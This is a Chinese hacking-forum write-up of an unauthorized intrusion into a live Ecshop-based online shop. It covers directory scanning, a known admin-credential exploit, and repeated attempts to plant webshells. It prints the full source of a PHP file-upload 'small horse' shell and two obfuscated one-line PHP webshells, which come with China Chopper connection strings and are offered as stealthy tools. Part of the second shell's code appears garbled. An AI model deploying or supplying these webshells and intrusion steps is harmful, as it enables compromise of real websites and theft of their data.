这两天把手头上的事忙完了有时间上网了。
进入正题:
话说起因还是看到一家成人用品的站:总觉的呢,这种站能和黄接触点联系,就索性搞一搞,虽然本人彩笔的不能再彩笔了,凭借着自己仅有的烂技术试试看吧。------声明本人人品也没爆过。
像往常一样,首先打开的是御剑1.5
初步判定网站是PHP+Apache+Linux
好吧,接着就是一阵狂扫,本来弱不禁风的目录一会就给我扫完了。瞪大眼睛一看,全他妈的是403,好了想也不用想了。随意在网址后面加了个admin (眼瞎了,御剑还给了我一个302的结果)。当然后台就出来了!
Ecshop的程序。其实刚开始看网址就看到了Ecshop的Logo图标:然后你会说:直接祭出0day。小菜怎么有呢,只有百度:
很顺利的漏洞还存在。拿到管理员账号,MD5 屁颠屁颠的去破解, !!!!
上后台吧!百度各种Ecshop后台拿shell 几种方法,心想这么容易?可事情不是你想像的那么简单的。
后台有执行Sql语句,可以试着去导出shell。可是找了半天没找到网站绝对路径,往哪捣?第一种方法就先放着,反正有那么多方法
Apache解析漏洞会把php.xxx只要是他不认识的解析成PHP文件处理,想着这个就简单了,Ecshop后台数据库备份默认备份成xxx.sql 这样备份成xxx.php 程序自动改成xxx.php.sql
思路屡了下就申请会员留言插马去了,结果我还是失败了。马没插成功,连接提示200错误,证明还是插进去了,但是连接不上。相继第2第3种方法都失败了。好吧,接着尝试第4种方法。
找到配送方式,到里面一看,麻痹的 被人插了。好吧我也懒得去再插了,直接连接,还是200错误,回头检查一下,马在密码没错,怎么连不上?我又换了一个,还是不行。心情开始沮丧了有木有?没事咱还有机会,不急!
输入地址:这个直接放弃了,页面都被删除了。开始发怒了有木有?
这个也等于白看了,因为没有路径啊。继续研究:
继续放弃,你懂得。。。。。。。。
那么多方法全都不能用?回头继续仔细的研究一下。为什么第二种方法会提示200错误呢 ?提示200不就是插进去了吗?难道是马被转换了?因为曾经也遇到过类似的情况,上传一句话文件到网站会被改名xx.asp.feewdsad-232dsds 这样的文件,新建文件也一样。所以还是没搞清楚。相继那第四种方法意思和前两种是一样,按说200是写进去了,就是连不上。那我要是直接把大马写上呢 ?说这就试试看
路径爆了。直接也没想起第一种方法,sql导出。就换了个PHP的小马又试了一次,这次小马显示正常了。
想着这下算结束了,上一句话,上大马。可事情没那么简单
手上所有的马都上了,搞的我越来越没爱。还是回到第一步执行sql语句导出吧!总结一句话我还是失败了,依旧是200错误。越来越没爱了。根据提示去百度吧!得出了结论,服务器开了一个类似PHP的魔法符号的模块: short_open_tag 他会把所有的\”改成”,把所有的\’改成’ 果不其然我测试asp的一句话,被变形了
好了现在思路屡清了。 服务器确定过滤了一句话 eval 函数 大马就不说了更多函数,不知道还过滤哪个? 回头看小马的内容
[HTML] 纯文本查看 复制代码
<html>
<title >By: SinCoder</title>
<font color=red size=6>php小马 By:SinCoder</br></font>
<? echo "</br>本程序的路径: ".__FILE__.
"</br>服务器操作系统: ".PHP_OS.
"</br>服务器IP地址: ".gethostbyname($_SERVER["SERVER_NAME"]).
"</br>PHP版本: ".PHP_VERSION;
?>
<form action = <? echo strrchr(__FILE__,"\\"); ?> method="post">
要提交的数据:</br>
<textarea type="text" name="data" rows="10" cols="30">
</textarea>
</br>
保存路径:<input type="text" name="dir" />
</br>
<input type="submit" value="提交"/>
</form>
</html>
<?
if(!(isset($_POST["data"]) && isset($_POST["dir"])))
exit();
if(strlen($_POST["data"])>0 && strlen($_POST["dir"])>0)
{
$p_File=fopen($_POST["dir"],"a");
if(!$p_File)
echo "写入失败!请换个目录试试!";
else
echo "Ok!! ";
fputs($p_File,$_POST["data"]);
fclose($p_File);
}
else
echo "请把数据填写完整!";
?>
果然没有eval 但是带 ” 也不知道百度上搜来的答案是怎么解释的。
索性就找了个不带eval函数的一句话试试看。
牛人们分享的两个变形的PHP一句话,非常之隐蔽
First:1.php
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
菜刀里写:http://localhost/1.php?2=assert
密码:1
Second:2.php
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST['pass'])
密码:pass
关于作者
直接小马拉上:成功。。。。。
看到这你是不是惊呆了,全他妈是我传的。各种不成功换来
检查下原来的一句话被改成啥样的了?
Eval也没过滤 就是’y’被改了。反正我自己都糊里糊涂的。搞了半天也没弄多清楚,因为我也不大懂PHP。还是交给各位大牛解释吧。
再此谢过各位看官!!!
==================================
这篇文章是作者第三次的投稿文章,看得出来,进步很大,
本文虽然思路有点模糊,但是作者很有学习精神,故给予通过。
==================================
文章抄袭,删除ID处理。具体请见:
https://forum.90sec.org/forum.php?mod=viewthread&tid=8677
|